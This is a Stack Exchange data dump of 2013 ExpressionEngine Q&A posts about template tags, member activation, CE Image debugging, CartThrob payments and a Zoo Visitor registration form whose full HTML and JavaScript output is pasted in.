  <row Id="2324" PostTypeId="2" ParentId="2318" CreationDate="2013-01-04T20:21:22.727" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html&quot; rel=&quot;nofollow&quot;&gt;Channel Categories tag&lt;/a&gt; is &lt;em&gt;not&lt;/em&gt; for listing the categories associated with an entry. It is for listing all of your categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to do this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{entry_id}&quot; dynamic=&quot;no&quot; channel=&quot;business&quot; status=&quot;not closed&quot; limit=&quot;1&quot; disable=&quot;member_data|pagination|custom_fields&quot;}&#xA;    {categories backspace=&quot;2&quot;}&amp;lt;a href=&quot;{path=&quot;businesses/index&quot;}&quot; class=&quot;{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;, {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;should&lt;/em&gt; work when directly nested like this, but if not you may have to place all that in an embedded template, and pass the &lt;code&gt;entry_id&lt;/code&gt; as an embed parameter.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-07T15:04:14.633" LastActivityDate="2013-01-07T15:04:14.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2325" PostTypeId="2" ParentId="2323" CreationDate="2013-01-04T20:40:51.617" Score="2" Body="&lt;p&gt;If you check out the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/membership_preferences.html#require-member-account-activation&quot; rel=&quot;nofollow&quot;&gt;Require Member Account Activation&lt;/a&gt; options in Membership Preferences section of the User Guide, you'll see the self-activation via email option which will do exactly what you're asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on additional feedback, the Safecracker Registration add-on being used was automatically logging the members in, even though their accounts weren't yet activated. Setting the &lt;code&gt;loggin_member=&quot;no&quot;&lt;/code&gt; parameter on the registration form resolved the issue.&lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditDate="2013-01-04T21:30:26.093" LastActivityDate="2013-01-04T21:30:26.093" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2326" PostTypeId="2" ParentId="2265" CreationDate="2013-01-04T20:47:44.450" Score="1" Body="&lt;p&gt;I'm not positive, but I'm pretty sure you shouldn't be using the &lt;code&gt;data=&quot;ExpressionEngine&quot;&lt;/code&gt; parameter when you're using the &lt;code&gt;tel&lt;/code&gt; action. I think it's an either/or situation with tel/data/email parameters. The &lt;code&gt;data=&quot;&quot;&lt;/code&gt; parameter is used for URLs and other data types.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-01-04T20:47:44.450" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2327" PostTypeId="1" CreationDate="2013-01-04T21:28:13.233" Score="4" ViewCount="903" Body="&lt;p&gt;Running into an issue with CE Image 2.4.1 on an ExpressionEngine 2.5.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below is grabbing an image from a Matrix 2.5.2 field. In the first line, with the  tag, the image displays as expected. In the second line, where CE Image enters the picture, the image neither appears nor is cropped.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{work_process_gallery}&#xA;  &amp;lt;img src=&quot;{mx_image}&quot; /&amp;gt;&#xA;  {exp:ce_img:single src=&quot;{mx_image}&quot; width=&quot;200&quot; height=&quot;200&quot; crop=&quot;yes|center,center&quot;}&#xA;{/work_process_gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/troubleshooting&quot; rel=&quot;nofollow&quot;&gt;troubleshooting instructions&lt;/a&gt; on the CE Image website, I enabled Template Debugging and I am seeing this when I load the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;***  CE Image debug: Base path: '/usr/local/apache/htdocs/'&#xA;***  CE Image debug: Source image: '[REDACTED_URL]/images/uploads/adidas-apparel1.jpg', Fallback image: ''&#xA;***  CE Image debug: Source image is not readable or does not exist: '/images/uploads/adidas-apparel1.jpg'.&#xA;***  CE Image debug: Fallback source image is not readable or does not exist: ''.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I take the URL from the second line, the image loads as expected in my browser, so isn't the source image both readable and exists?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="28" LastEditDate="2013-01-05T02:55:08.817" LastActivityDate="2015-06-09T09:07:47.567" Title="CE Image Not Processing an Image That Exists" Tags="|ce-image|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2328" PostTypeId="1" AcceptedAnswerId="4906" CreationDate="2013-01-04T21:42:32.037" Score="3" ViewCount="335" Body="&lt;p&gt;I'm working on a site that uses CartThrob as it's order handling system.  We are using the PayPal Express payment gateway to collect the funds, but the problem is that the business model was really intended to use the PayPal Adaptive Payments API.  Has anyone had any experience using the PayPal Adaptive Payments API with CartThrob?  If so, I would love to have a conversation and determine how we can accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;Lucas&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2013-01-16T18:28:09.727" Title="PayPal Adaptive Payments with CartThrob" Tags="|cartthrob|paypal|payment-gateway|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2329" PostTypeId="1" AcceptedAnswerId="2330" CreationDate="2013-01-04T21:47:06.823" Score="2" ViewCount="606" Body="&lt;p&gt;So it looks like I'm having some issues with EE 2.5.5 and Zoo Visitor 1.3.21. I have a fairly simple registration template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/_header&quot;}&#xA;&#xA;  {exp:zoo_visitor:registration_form class=&quot;form-horizontal sign-up&quot;}&#xA;&#xA;    &amp;lt;header&amp;gt;&#xA;&#xA;      &amp;lt;h6&amp;gt;Please fill out the following to create your BLOOM account.&amp;lt;/h6&amp;gt;&#xA;      &amp;lt;p&amp;gt;All fields required.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;/header&amp;gt;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;member_firstname&quot;&amp;gt;First Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;member_firstname&quot; id=&quot;member_firstname&quot; class=&quot;input-xlarge&quot; placeholder=&quot;First Name&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;member_lastname&quot;&amp;gt;Last Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;member_lastname&quot; id=&quot;member_lastname&quot; class=&quot;input-xlarge&quot; placeholder=&quot;Last Name&quot; /&amp;gt;&#xA;          &amp;lt;p class=&quot;hint&quot;&amp;gt;Use this space for messaging about BLOOM&amp;amp;rsquo;s recommendation on how teachers should or should not change their username&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;email-address&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; class=&quot;input-xlarge&quot; placeholder=&quot;firstname.last@gmail.com&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; class=&quot;input-xlarge&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; id=&quot;password_confirm&quot; class=&quot;input-xlarge&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;&#xA;      &amp;lt;header&amp;gt;&#xA;&#xA;        &amp;lt;h6&amp;gt;Choose your School and Grade&amp;lt;/h6&amp;gt;&#xA;&#xA;      &amp;lt;/header&amp;gt;&#xA;&#xA;      {field:member_school}&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;&#xA;      &amp;lt;header&amp;gt;&#xA;&#xA;        &amp;lt;h6&amp;gt;Add Your Class(es)&amp;lt;/h6&amp;gt;&#xA;&#xA;      &amp;lt;/header&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;well&quot;&amp;gt;&#xA;        {field:member_classes}&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;&#xA;      &amp;lt;ul class=&quot;control-group btn-group&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-small btn-primary&quot;&amp;gt;Sign Up&amp;lt;/button&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  {/exp:zoo_visitor:registration_form}&#xA;&#xA;{embed=&quot;embeds/_footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the registration form shows just fine if the user is logged in. However, if the user is not logged in (as you would expect from a registration page), I get a number of errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: EE is not defined index.php:657&#xA;    (anonymous function) index.php:657&#xA;&#xA;Uncaught ReferenceError: EE is not defined signup:100&#xA;    (anonymous function) signup:100&#xA;&#xA;2 Uncaught SyntaxError: Unexpected token &amp;lt; login:1&#xA;&#xA;Uncaught ReferenceError: EE is not defined signup:70&#xA;    (anonymous function) signup:70&#xA;    p index.php:43&#xA;    l.fireWith index.php:44&#xA;    b.extend.ready index.php:33&#xA;    k.addEventListener.A index.php:42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, here’s the page output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;    &amp;lt;title&amp;gt;iPlan BLOOM&amp;lt;/title&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;&quot;&amp;gt;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot;&amp;gt;&#xA;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;//netdna.bootstrapcdn.com/twitter-bootstrap/2.1.1/css/bootstrap.no-icons.min.css&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;//netdna.bootstrapcdn.com/font-awesome/2.0/css/font-awesome.css&quot;&amp;gt;&#xA;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/assets/css/site.css&quot;&amp;gt;&#xA;&#xA;    &amp;lt;script src=&quot;//www.google-analytics.com/ga.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script&amp;gt;window.jQuery || document.write('&amp;lt;script src=&quot;/assets/js/libs/jquery-1.8.2.min.js&quot;&amp;gt;&amp;lt;\/script&amp;gt;')&amp;lt;/script&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;  &amp;lt;body&amp;gt;&#xA;&#xA;    &amp;lt;header class=&quot;toolbar&quot;&amp;gt;&#xA;&#xA;      &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;/&quot;&amp;gt;&amp;lt;span class=&quot;bloom&quot;&amp;gt;BLOOM&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;iplan&quot;&amp;gt;iPlan&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;            &amp;lt;nav class=&quot;account-navigation&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://local.upitt.com/account/signup&quot;&amp;gt;Sign Up&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;a class=&quot;btn btn-small btn-primary&quot; href=&quot;http://local.upitt.com/account&quot;&amp;gt;Log In&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;                  &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/nav&amp;gt;&#xA;&#xA;    &amp;lt;/header&amp;gt;&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;http://local.upitt.com/?ACT=3&amp;amp;amp;ui=core,widget,mouse,position,draggable,resizable,button,dialog,datepicker&amp;amp;amp;plugin=scrollable,scrollable.navigator,markitup,thickbox,toolbox.expose,overlay,tmpl&amp;amp;amp;v=1355874508&amp;amp;amp;include_jquery=y&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;  .playa-entry a span.open { color: #093 !important; }&#xA;  .playa-entry a span.closed { color: #900 !important; }&#xA;  .playa-entry a span.Super_Admins-id1 { color: # !important; }&#xA;  .playa-entry a span.Banned-id2 { color: # !important; }&#xA;  .playa-entry a span.Guests-id3 { color: # !important; }&#xA;  .playa-entry a span.Pending-id4 { color: # !important; }&#xA;  .playa-entry a span.Members-id5 { color: # !important; }&#xA;  .playa-entry a span.Content_Admins-id6 { color: # !important; }&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://local.upitt.com/assets/themes/third_party/playa/styles/field.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://local.upitt.com/assets/themes/third_party/playa/styles/singleselect.css&quot;&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://local.upitt.com/assets/themes/third_party/matrix/styles/matrix.css?2.5.2&quot;&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;PlayaFilterResources = {&#xA;  filterUrl: &quot;http://local.upitt.com/&quot;,&#xA;  ACT: 23,&#xA;  lang: { is: &quot;is&quot; }&#xA;};&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://local.upitt.com/assets/themes/third_party/playa/scripts/singleselect.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;new PlayaSingleSelect(jQuery(&quot;#member_school&quot;), {&quot;defaults&quot;:{&quot;expired&quot;:&quot;n&quot;,&quot;future&quot;:&quot;y&quot;,&quot;channel&quot;:&quot;8&quot;,&quot;limit&quot;:&quot;0&quot;,&quot;limitby&quot;:&quot;&quot;,&quot;orderby&quot;:&quot;title&quot;,&quot;sort&quot;:&quot;ASC&quot;},&quot;fieldName&quot;:&quot;member_school&quot;});&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://local.upitt.com/assets/themes/third_party/matrix/scripts/matrix.js?2.5.2&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;Matrix.lang = { options: &quot;Options&quot;, add_row_above: &quot;Add row above&quot;, add_row_below: &quot;Add row below&quot;, delete_row: &quot;Delete row&quot;, move_to_top: &quot;Move to top&quot;, move_to_bottom: &quot;Move to bottom&quot;, remove_file: &quot;Remove File&quot;, select_file_error: &quot;There was an error selecting your file. Please try again, or save and re-edit the entry if the problem persists.&quot; };&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://local.upitt.com/assets/themes/third_party/playa/scripts/matrix.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;PlayaColOpts.col_id_3 = {&quot;defaults&quot;:{&quot;expired&quot;:&quot;n&quot;,&quot;future&quot;:&quot;y&quot;,&quot;channel&quot;:&quot;9&quot;,&quot;limit&quot;:&quot;0&quot;,&quot;limitby&quot;:&quot;&quot;,&quot;orderby&quot;:&quot;title&quot;,&quot;sort&quot;:&quot;ASC&quot;}};&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;function initMatrix_fd62c6a3bc0e043e308b57854aa60a3f(){var m = new Matrix(&quot;#member_classes&quot;, &quot;member_classes&quot;, &quot;Classes&quot;, [{&quot;id&quot;:&quot;col_id_3&quot;,&quot;name&quot;:&quot;class&quot;,&quot;label&quot;:&quot;Class&quot;,&quot;required&quot;:false,&quot;settings&quot;:{&quot;multi&quot;:&quot;n&quot;,&quot;expired&quot;:&quot;n&quot;,&quot;future&quot;:&quot;y&quot;,&quot;channels&quot;:[&quot;9&quot;],&quot;orderby&quot;:&quot;title&quot;,&quot;sort&quot;:&quot;ASC&quot;},&quot;type&quot;:&quot;playa&quot;,&quot;newCellHtml&quot;:&quot;&amp;lt;input type=\&quot;hidden\&quot; name=\&quot;{DEFAULT}[selections][]\&quot; value=\&quot;\&quot;\/&amp;gt;&amp;lt;div id=\&quot;{DEFAULT}\&quot; class=\&quot;playa playa-ss\&quot; style=\&quot;margin: 3px 0\&quot; tabindex=\&quot;0\&quot;&amp;gt;&amp;lt;table cellspacing=\&quot;0\&quot; cellpadding=\&quot;0\&quot; border=\&quot;0\&quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=\&quot;playa-ss-input\&quot;&amp;gt;&amp;lt;li class=\&quot;playa-entry playa-ss-noval\&quot;&amp;gt;&amp;lt;a&amp;gt;Select an entry…&amp;lt;\/a&amp;gt;&amp;lt;\/li&amp;gt;&amp;lt;\/td&amp;gt;&amp;lt;td class=\&quot;playa-ss-button\&quot;&amp;gt;&amp;lt;img src=\&quot;http:\/\/local.upitt.com\/assets\/themes\/third_party\/playa\/images\/select_btn_arrow.png\&quot; alt=\&quot;\&quot; \/&amp;gt;&amp;lt;\/td&amp;gt;&amp;lt;\/tr&amp;gt;&amp;lt;\/table&amp;gt;&amp;lt;div class=\&quot;playa-entries playa-ss-entries\&quot;&amp;gt;&amp;lt;div class=\&quot;playa-scrollpane\&quot;&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li class=\&quot;playa-entry playa-ss-noval\&quot;&amp;gt;&amp;lt;a&amp;gt;Select an entry…&amp;lt;\/a&amp;gt;&amp;lt;\/li&amp;gt;&amp;lt;li class=\&quot;playa-entry \&quot; id=\&quot;{DEFAULT}-option-5\&quot; unselectable=\&quot;on\&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;span class=\&quot;playa-entry-status open\&quot;&amp;gt;&amp;amp;bull;&amp;lt;\/span&amp;gt;Numbering curriculum, 101&amp;lt;\/a&amp;gt;&amp;lt;input type=\&quot;hidden\&quot; name=\&quot;{DEFAULT}[options][]\&quot; value=\&quot;5\&quot; disabled=\&quot;disabled\&quot; \/&amp;gt;&amp;lt;\/li&amp;gt;&amp;lt;li class=\&quot;playa-entry \&quot; id=\&quot;{DEFAULT}-option-6\&quot; unselectable=\&quot;on\&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;span class=\&quot;playa-entry-status open\&quot;&amp;gt;&amp;amp;bull;&amp;lt;\/span&amp;gt;Whatever happened to class?&amp;lt;\/a&amp;gt;&amp;lt;input type=\&quot;hidden\&quot; name=\&quot;{DEFAULT}[options][]\&quot; value=\&quot;6\&quot; disabled=\&quot;disabled\&quot; \/&amp;gt;&amp;lt;\/li&amp;gt;&amp;lt;\/ul&amp;gt;&amp;lt;\/div&amp;gt;&amp;lt;\/div&amp;gt;&amp;lt;\/div&amp;gt;&quot;,&quot;newCellSettings&quot;:false,&quot;newCellClass&quot;:false},{&quot;id&quot;:&quot;col_id_4&quot;,&quot;name&quot;:&quot;grade_level&quot;,&quot;label&quot;:&quot;Grade Level&quot;,&quot;required&quot;:false,&quot;settings&quot;:{&quot;options&quot;:{&quot;9th&quot;:&quot;9th&quot;,&quot;10th&quot;:&quot;10th&quot;,&quot;11th&quot;:&quot;11th&quot;,&quot;12th&quot;:&quot;12th&quot;}},&quot;type&quot;:&quot;pt_dropdown&quot;,&quot;newCellHtml&quot;:&quot;&amp;lt;select name=\&quot;{DEFAULT}\&quot;&amp;gt;\n&amp;lt;option value=\&quot;9th\&quot;&amp;gt;9th&amp;lt;\/option&amp;gt;\n&amp;lt;option value=\&quot;10th\&quot;&amp;gt;10th&amp;lt;\/option&amp;gt;\n&amp;lt;option value=\&quot;11th\&quot;&amp;gt;11th&amp;lt;\/option&amp;gt;\n&amp;lt;option value=\&quot;12th\&quot;&amp;gt;12th&amp;lt;\/option&amp;gt;\n&amp;lt;\/select&amp;gt;&quot;,&quot;newCellSettings&quot;:false,&quot;newCellClass&quot;:false}], [], 0, 0);&#xA;m.totalNewRows = 0;&#xA;};&#xA;jQuery(document).ready(function(){&#xA;initMatrix_fd62c6a3bc0e043e308b57854aa60a3f();&#xA;});&#xA;if (typeof(Bwf) != 'undefined'){&#xA;Bwf.bind('matrix', 'previewClose', function(){&#xA;initMatrix_fd62c6a3bc0e043e308b57854aa60a3f();&#xA;});&#xA;}&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;&#xA;// &amp;lt;![CDATA[&#xA;$(document).ready(function() {&#xA;    if (typeof SafeCracker == &quot;undefined&quot; || ! SafeCracker) { var SafeCracker = {markItUpFields:{}};}&#xA;    $.datepicker.setDefaults({dateFormat:$.datepicker.W3C+EE.date_obj_time});&#xA;    $.datepicker.setDefaults({defaultDate: new Date(1357335315000)});});&#xA;// ]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;.hasDatepicker{background:#fff url(http://local.upitt.com/assets/themes/cp_themes/default/images/calendar_bg.gif) no-repeat 98% 2px;background-repeat:no-repeat;background-position:99%;}&amp;lt;/style&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;                    $.createDatepickerTime=function(){&#xA;                        date = new Date();&#xA;                        hours = date.getHours();&#xA;                        minutes = date.getMinutes();&#xA;                        suffix = &quot;&quot;;&#xA;                        format = &quot;us&quot;;&#xA;&#xA;                        if (minutes &amp;lt; 10) {&#xA;                            minutes = &quot;0&quot; + minutes;&#xA;                        }&#xA;&#xA;                        if (format == &quot;us&quot;) {&#xA;                            if (hours &amp;gt; 12) {&#xA;                                hours -= 12;&#xA;                                suffix = &quot; PM&quot;;&#xA;                            } else if (hours == 12) {&#xA;                                suffix = &quot; PM&quot;;&#xA;                            } else {&#xA;                                suffix = &quot; AM&quot;;&#xA;                            }&#xA;                        }&#xA;&#xA;                        return &quot; '&quot; + hours + &quot;:&quot; + minutes + suffix + &quot;'&quot;;&#xA;                    }&#xA;&#xA;                    EE.date_obj_time = $.createDatepickerTime();&#xA;                &amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;script src=&quot;/assets/js/min/main-min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/assets/scripts/site.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;!-- Google Analytics: change UA-XXXXX-X to be your site's ID. --&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;      var _gaq=[['_setAccount','UA-XXXXX-X'],['_trackPageview']];&#xA;      (function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];&#xA;      g.src=('https:'==location.protocol?'//ssl':'//www')+'.google-analytics.com/ga.js';&#xA;      s.parentNode.insertBefore(g,s)}(document,'script'));&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;ul id=&quot;matrix-menu&quot; style=&quot;opacity: 0; display: none;&quot;&amp;gt;&amp;lt;li&amp;gt;Add row above&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Add row below&amp;lt;/li&amp;gt;&amp;lt;li class=&quot;br&quot;&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Move to top&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Move to bottom&amp;lt;/li&amp;gt;&amp;lt;li class=&quot;br&quot;&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Delete row&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've never run into this before, so I'm quite stymied. Any suggestions or help the community could provide would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="34" LastEditDate="2013-01-04T21:53:32.630" LastActivityDate="2013-01-04T22:07:05.287" Title="Zoo:Visitor Registration form throws errors, doesn't render form when user is logged out, but not when logged in" Tags="|safecracker|zoo-visitor|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2330" PostTypeId="2" ParentId="2329" CreationDate="2013-01-04T22:07:05.287" Score="3" Body="&lt;p&gt;As it turns out, the problem was that I hadn't enabled Guest Members to post to the Member channel. A quick trip to the Zoo Visitor troubleshooting tab revealed this section, complete with information on what to do next:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7YuPI.png&quot; alt=&quot;An example of where I went wrong in Zoo Visitor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, all is resolved now!&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-01-04T22:07:05.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2332" PostTypeId="2" ParentId="2327" CreationDate="2013-01-04T23:49:17.147" Score="3" Body="&lt;p&gt;I believe I came accross something similar and using pair tags instead of single tag worked. I never did get a chance to figure out why but refer to the docs for pair usage. Also try adding parse=&quot;inward&quot; to your matrix tag, a plugin within a plugin may be in play.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-04T23:49:17.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2333" PostTypeId="2" ParentId="2172" CreationDate="2013-01-05T00:41:09.363" Score="1" Body="&lt;p&gt;Justin's excellent support pointed out my error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the ExpressionEngine control panel Store &gt;&gt; Settings &gt;&gt; General &gt;&gt; Default Shipping Address can be set to &quot;None&quot;, &quot;Shipping Same as Billing&quot; or  &quot;Billing Same as Shipping&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have it set to &quot;Shipping the same as billing&quot; you would need to make sure that you have {field:billing_region} instead of {field:shipping_region} or visa-verse if you have &quot;Billing same as Shipping&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had it set to &quot;Shipping same as Billing&quot; and changing {field:shipping_region} to {field:billing_region} sorted the issue. &lt;/p&gt;&#xA;" OwnerUserId="663" LastActivityDate="2013-01-05T00:41:09.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
